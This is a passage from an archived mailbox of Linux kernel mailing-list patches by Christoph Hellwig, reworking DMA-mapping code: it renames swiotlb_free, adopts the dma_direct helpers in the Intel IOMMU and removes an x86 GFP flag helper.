-	printk("Map sg\n");
-	return nents;
-}
-
-static inline int v32_dma_supported(struct device *dev, u64 mask)
-{
-        /*
-         * we fall back to GFP_DMA when the mask isn't all 1s,
-         * so we can't guarantee allocations that must be
-         * within a tighter range than GFP_DMA..
-         */
-        if (mask < 0x00ffffff)
-                return 0;
-	return 1;
-}
-
-const struct dma_map_ops v32_dma_ops = {
-	.alloc			= v32_dma_alloc,
-	.free			= v32_dma_free,
-	.map_page		= v32_dma_map_page,
-	.map_sg                 = v32_dma_map_sg,
-	.dma_supported		= v32_dma_supported,
-	.is_phys		= true,
-};
-EXPORT_SYMBOL(v32_dma_ops);
diff --git a/arch/cris/include/asm/Kbuild b/arch/cris/include/asm/Kbuild
index 460349cb147f..8cf45ac30c1b 100644
--- a/arch/cris/include/asm/Kbuild
+++ b/arch/cris/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += cmpxchg.h
 generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/cris/include/asm/dma-mapping.h b/arch/cris/include/asm/dma-mapping.h
deleted file mode 100644
index 1553bdb30a0c..000000000000
--- a/arch/cris/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,20 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_CRIS_DMA_MAPPING_H
-#define _ASM_CRIS_DMA_MAPPING_H
-
-#ifdef CONFIG_PCI
-extern const struct dma_map_ops v32_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &v32_dma_ops;
-}
-#else
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	BUG();
-	return NULL;
-}
-#endif
-
-#endif
-- 
2.14.2

From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 45/67] swiotlb: rename swiotlb_free to swiotlb_exit
Date: Fri, 29 Dec 2017 09:18:49 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <20171229081911.2802-46-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514536069 17635 195.159.176.226 (29 Dec 2017 08:27:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:27:49 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Dec 29 09:27:44 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eUq0y-000481-Oq
	for lnx-linux-alpha@m.gmane.org; Fri, 29 Dec 2017 09:27:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755160AbdL2I3l (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 29 Dec 2017 03:29:41 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:60336 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755458AbdL2IWr (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 29 Dec 2017 03:22:47 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=d+vcST1VW+GVyRR4eQmhY8SFmGkMbG5rojSvVCXYM6g=; b=cE+dv7lqO03lLqb/qVH6OrTHL
        oE61S9MIGC4GA7CLnpOBAvFzOTyFGRP3MSm/NT0aeycH5ad2xHIJEN/F/HMZBiPTLB253n544HsH7
        S1PWUybtq2QUTAtVeeRwXemOy33d2U1dhZEYfDmVSzld0WFqUS7vtUbvc6fzUQbM28zJLhmYa0hHR
        NcLeUyH05AimllEgZpWOw0KU9hE1rsJn/5KLW4JNRYvqZIPk9Sia44p8BHUdxSecs+uCLXdpVEIIZ
        fKonNWp/MxAW1y7Ytwi8tX6AHxhgY0S2uxxOWCnInYEVhJU54mnT5aLbwQDEPzaKGbnCpRZj1DgcD
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpw0-00032Z-ED; Fri, 29 Dec 2017 08:22:33 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4608 gmane.linux.kernel.iommu:21941 gmane.linux.kernel.arc:3229 gmane.linux.ports.arm.kernel:622954 gmane.linux.ports.hexagon:1461 gmane.linux.ports.ia64:28451 gmane.linux.kernel.metag:1535 gmane.linux.ports.mips.general:62984 gmane.linux.ports.parisc:28126 gmane.linux.ports.ppc64.devel:151558 gmane.linux.ports.sh.devel:56097 gmane.linux.ports.sparc:27104 gmane.linux.kernel.cross-arch:40844 gmane.linux.kernel:2654271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4608>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/powerpc/kernel/dma-swiotlb.c | 2 +-
 arch/x86/kernel/pci-swiotlb.c     | 2 +-
 include/linux/swiotlb.h           | 4 ++--
 lib/swiotlb.c                     | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/arch/powerpc/kernel/dma-swiotlb.c b/arch/powerpc/kernel/dma-swiotlb.c
index 506ac4fafac5..88f3963ca30f 100644
--- a/arch/powerpc/kernel/dma-swiotlb.c
+++ b/arch/powerpc/kernel/dma-swiotlb.c
@@ -121,7 +121,7 @@ static int __init check_swiotlb_enabled(void)
 	if (ppc_swiotlb_enable)
 		swiotlb_print_info();
 	else
-		swiotlb_free();
+		swiotlb_exit();
 
 	return 0;
 }
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 7a11a3e4f697..57dea60c2473 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -119,7 +119,7 @@ void __init pci_swiotlb_late_init(void)
 {
 	/* An IOMMU turned us off. */
 	if (!swiotlb)
-		swiotlb_free();
+		swiotlb_exit();
 	else {
 		printk(KERN_INFO "PCI-DMA: "
 		       "Using software bounce buffering for IO (SWIOTLB)\n");
diff --git a/include/linux/swiotlb.h b/include/linux/swiotlb.h
index 24ed817082ee..606375e35d87 100644
--- a/include/linux/swiotlb.h
+++ b/include/linux/swiotlb.h
@@ -115,10 +115,10 @@ extern int
 swiotlb_dma_supported(struct device *hwdev, u64 mask);
 
 #ifdef CONFIG_SWIOTLB
-extern void __init swiotlb_free(void);
+extern void __init swiotlb_exit(void);
 unsigned int swiotlb_max_segment(void);
 #else
-static inline void swiotlb_free(void) { }
+static inline void swiotlb_exit(void) { }
 static inline unsigned int swiotlb_max_segment(void) { return 0; }
 #endif
 
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index 6583f3512386..c1fcd3a32d07 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -417,7 +417,7 @@ swiotlb_late_init_with_tbl(char *tlb, unsigned long nslabs)
 	return -ENOMEM;
 }
 
-void __init swiotlb_free(void)
+void __init swiotlb_exit(void)
 {
 	if (!io_tlb_orig_addr)
 		return;
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 40/67] iommu/intel-iommu: use dma_direct_* helpers for the
 direct mapping case
Date: Fri, 29 Dec 2017 09:18:44 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20171229081911.2802-41-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514536074 18689 195.159.176.226 (29 Dec 2017 08:27:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:27:54 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 linux-snps-arc@lists.infradead.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Dec 29 09:27:48 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eUq13-0004MD-4V
	for gla-linux-snps-arc@m.gmane.org; Fri, 29 Dec 2017 09:27:45 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=jq0gcI9VMODX3J+5JEp+P0w61xMKoX8Vg/jHfAD5juY=; b=HlLdwTYaN4ZNjc1ZxYlwDwX0xt
	USbCw3Yye86dOpNSY8b+wzIAYQ1nwnTdWRfIS6ITZGpOry+3NCvmTViIk7X4w+//MjuQSw0RGr/4x
	0jvzEDYY3l4e7nlCH3eAhnEmdhn15ln/NziWJg7q1gIS6QcAz996e0Ifpn4MCPZKJpaoOnxAAvOKz
	TnI9/nprHEgMkwE2sxVx8pxlyi002kLEk9cUIEzG8LAbNVXBHwP54tT3fVWppLSavaXFKmtsLBQSt
	PkG68ZXa8JBd0WQVYO7D0I8enNv/rT1HK15pYPy0FJG0w6lund70u+ylIR2u3B2ePjvpFb0j8mWsf
	JF4NiWtQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1eUq30-0008Eg-Ky; Fri, 29 Dec 2017 08:29:46 +0000
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1eUpvf-0002oo-Hn; Fri, 29 Dec 2017 08:22:12 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3230 gmane.linux.kernel.iommu:21942 gmane.linux.ports.mips.general:62985 gmane.linux.ports.ia64:28452 gmane.linux.ports.sh.devel:56098 gmane.linux.ports.sparc:27105 gmane.linux.kernel.cross-arch:40845 gmane.linux.ports.hexagon:1462 gmane.linux.kernel.metag:1536 gmane.linux.ports.arm.kernel:622955 gmane.linux.ports.parisc:28127 gmane.linux.kernel:2654272 gmane.linux.ports.alpha:4609 gmane.linux.ports.ppc64.devel:151559
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3230>

This simplifies the code a bit, and prepares for future cleanups.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/iommu/Kconfig       |  1 +
 drivers/iommu/intel-iommu.c | 17 ++++++++---------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/drivers/iommu/Kconfig b/drivers/iommu/Kconfig
index dc7c1914645d..df171cb85822 100644
--- a/drivers/iommu/Kconfig
+++ b/drivers/iommu/Kconfig
@@ -143,6 +143,7 @@ config DMAR_TABLE
 config INTEL_IOMMU
 	bool "Support for Intel IOMMU using DMA Remapping Devices"
 	depends on PCI_MSI && ACPI && (X86 || IA64_GENERIC)
+	select DMA_DIRECT_OPS
 	select IOMMU_API
 	select IOMMU_IOVA
 	select DMAR_TABLE
diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index 921caf4f0c3e..0de8bfe89061 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -31,6 +31,7 @@
 #include <linux/pci.h>
 #include <linux/dmar.h>
 #include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/mempool.h>
 #include <linux/memory.h>
 #include <linux/cpu.h>
@@ -3712,17 +3713,12 @@ static void *intel_alloc_coherent(struct device *dev, size_t size,
 	struct page *page = NULL;
 	int order;
 
+	if (iommu_no_mapping(dev))
+		return dma_direct_alloc(dev, size, dma_handle, flags, attrs);
+
 	size = PAGE_ALIGN(size);
 	order = get_order(size);
-
-	if (!iommu_no_mapping(dev))
-		flags &= ~(GFP_DMA | GFP_DMA32);
-	else if (dev->coherent_dma_mask < dma_get_required_mask(dev)) {
-		if (dev->coherent_dma_mask < DMA_BIT_MASK(32))
-			flags |= GFP_DMA;
-		else
-			flags |= GFP_DMA32;
-	}
+	flags &= ~(GFP_DMA | GFP_DMA32);
 
 	if (gfpflags_allow_blocking(flags)) {
 		unsigned int count = size >> PAGE_SHIFT;
@@ -3758,6 +3754,9 @@ static void intel_free_coherent(struct device *dev, size_t size, void *vaddr,
 	int order;
 	struct page *page = virt_to_page(vaddr);
 
+	if (iommu_no_mapping(dev))
+		return dma_direct_free(dev, size, vaddr, dma_handle, attrs);
+
 	size = PAGE_ALIGN(size);
 	order = get_order(size);
 
-- 
2.14.2

From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 41/67] x86: remove dma_alloc_coherent_gfp_flags
Date: Fri, 29 Dec 2017 09:18:45 +0100
Lines: 118
Approved: news@gmane.org
Message-ID: <20171229081911.2802-42-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514536090 22778 195.159.176.226 (29 Dec 2017 08:28:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:28:10 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 linux-snps-arc@lists.infradead.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Dec 29 09:28:04 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1eUq1K-0005R3-K9
	for linux-arm-kernel@m.gmane.org; Fri, 29 Dec 2017 09:28:02 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=m0ILBCGwc490Zf6LQGRRx41a/8wLIlThiRO+uR//L2w=; b=a1xKnApvZ7CEQnZf4JVO8nxEM/
	IOx/fufLLVmL/ZFpTh/l67qBZA+hBvJAgN2WssfAiut5lnS5lIZfuRu3aLr38dqmy3ghR+CjT0JvF
	8TKU94IV996Vq35CQaJK9Zf/trbYhvHaHBL7HULoIq1LAJednP0MF1COTGUaAQrGenpr/A6SiaAd5
	2o3x0Rd4xCa4iX0OO2QYIWGKr/93RLNgpJ03Qf2znvd2NMrI83YutkcFE9UrqB+ZYrZ89XjenZeD8
	E0SN6A/RpUayJi7N7jHbUIfAMq+voKylNPsZeUYEscFyzxPUzlRgGqMoJZieEdzRARYyS7/biQNmL
	4s0yyseg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1eUq3F-0008N9-EK; Fri, 29 Dec 2017 08:30:01 +0000
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1eUpvk-0002rM-1d; Fri, 29 Dec 2017 08:22:16 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:622956 gmane.linux.kernel.iommu:21943 gmane.linux.ports.mips.general:62986 gmane.linux.ports.ia64:28453 gmane.linux.ports.sh.devel:56099 gmane.linux.ports.sparc:27106 gmane.linux.kernel.cross-arch:40846 gmane.linux.ports.hexagon:1463 gmane.linux.kernel.arc:3231 gmane.linux.kernel.metag:1537 gmane.linux.ports.parisc:28128 gmane.linux.kernel:2654274 gmane.linux.ports.alpha:4610 gmane.linux.ports.ppc64.devel:151560
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/622956>

All dma_ops implementations used on x86 now take care of setting their own
required GFP_ masks for the allocation.  And given that the common code
now clears harmful flags itself that means we can stop the flags in all
the iommu implementations as well.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/include/asm/dma-mapping.h | 11 -----------
 arch/x86/kernel/amd_gart_64.c      |  1 -
 arch/x86/kernel/pci-calgary_64.c   |  2 --
 arch/x86/kernel/pci-dma.c          |  2 --
 arch/x86/mm/mem_encrypt.c          |  7 -------
 drivers/iommu/amd_iommu.c          |  1 -
 drivers/iommu/intel-iommu.c        |  1 -
 7 files changed, 25 deletions(-)

diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index df9816b385eb..89ce4bfd241f 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -36,15 +36,4 @@ int arch_dma_supported(struct device *dev, u64 mask);
 bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
 #define arch_dma_alloc_attrs arch_dma_alloc_attrs
 
-static inline gfp_t dma_alloc_coherent_gfp_flags(struct device *dev, gfp_t gfp)
-{
-	if (dev->coherent_dma_mask <= DMA_BIT_MASK(24))
-		gfp |= GFP_DMA;
-#ifdef CONFIG_X86_64
-	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
-		gfp |= GFP_DMA32;
-#endif
-       return gfp;
-}
-
 #endif
diff --git a/arch/x86/kernel/amd_gart_64.c b/arch/x86/kernel/amd_gart_64.c
index 92054815023e..7466dd458e0f 100644
--- a/arch/x86/kernel/amd_gart_64.c
+++ b/arch/x86/kernel/amd_gart_64.c
@@ -487,7 +487,6 @@ gart_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_addr,
 	if (!force_iommu || dev->coherent_dma_mask <= DMA_BIT_MASK(24))
 		return dma_direct_alloc(dev, size, dma_addr, flag, attrs);
 
-	flag &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
 	page = alloc_pages(flag | __GFP_ZERO, get_order(size));
 	if (!page)
 		return NULL;
diff --git a/arch/x86/kernel/pci-calgary_64.c b/arch/x86/kernel/pci-calgary_64.c
index 5647853053bd..bbfc8b1e9104 100644
--- a/arch/x86/kernel/pci-calgary_64.c
+++ b/arch/x86/kernel/pci-calgary_64.c
@@ -446,8 +446,6 @@ static void* calgary_alloc_coherent(struct device *dev, size_t size,
 	npages = size >> PAGE_SHIFT;
 	order = get_order(size);
 
-	flag &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
-
 	/* alloc enough pages (and possibly more) */
 	ret = (void *)__get_free_pages(flag, order);
 	if (!ret)
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index db0b88ea8d1b..14437116ffea 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -82,8 +82,6 @@ bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp)
 	if (!*dev)
 		*dev = &x86_dma_fallback_dev;
 
-	*gfp = dma_alloc_coherent_gfp_flags(*dev, *gfp);
-
 	if (!is_device_dma_capable(*dev))
 		return false;
 	return true;
diff --git a/arch/x86/mm/mem_encrypt.c b/arch/x86/mm/mem_encrypt.c
index 479586b8ca9b..1c786e751b49 100644
--- a/arch/x86/mm/mem_encrypt.c
+++ b/arch/x86/mm/mem_encrypt.c
@@ -208,13 +208,6 @@ static void *sev_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 	void *vaddr = NULL;
 
 	order = get_order(size);
-
-	/*
-	 * Memory will be memset to zero after marking decrypted, so don't
-	 * bother clearing it before.
-	 */
-	gfp &= ~__GFP_ZERO;
-
 	page = alloc_pages_node(dev_to_node(dev), gfp, order);
 	if (page) {
 		dma_addr_t addr;
diff --git a/drivers/iommu/amd_iommu.c b/drivers/iommu/amd_iommu.c
index a2ad149ab0bf..51ce6db86fdd 100644
--- a/drivers/iommu/amd_iommu.c
+++ b/drivers/iommu/amd_iommu.c
@@ -2600,7 +2600,6 @@ static void *alloc_coherent(struct device *dev, size_t size,
 	dma_dom   = to_dma_ops_domain(domain);
 	size	  = PAGE_ALIGN(size);
 	dma_mask  = dev->coherent_dma_mask;
-	flag     &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
 	flag     |= __GFP_ZERO;
 
 	page = alloc_pages(flag | __GFP_NOWARN,  get_order(size));
diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index 0de8bfe89061..6c9df0773b78 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -3718,7 +3718,6 @@ static void *intel_alloc_coherent(struct device *dev, size_t size,
 
 	size = PAGE_ALIGN(size);
 	order = get_order(size);
-	flags &= ~(GFP_DMA | GFP_DMA32);
 
 	if (gfpflags_allow_blocking(flags)) {
 		unsigned int count = size >> PAGE_SHIFT;
-- 
2.14.2

From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
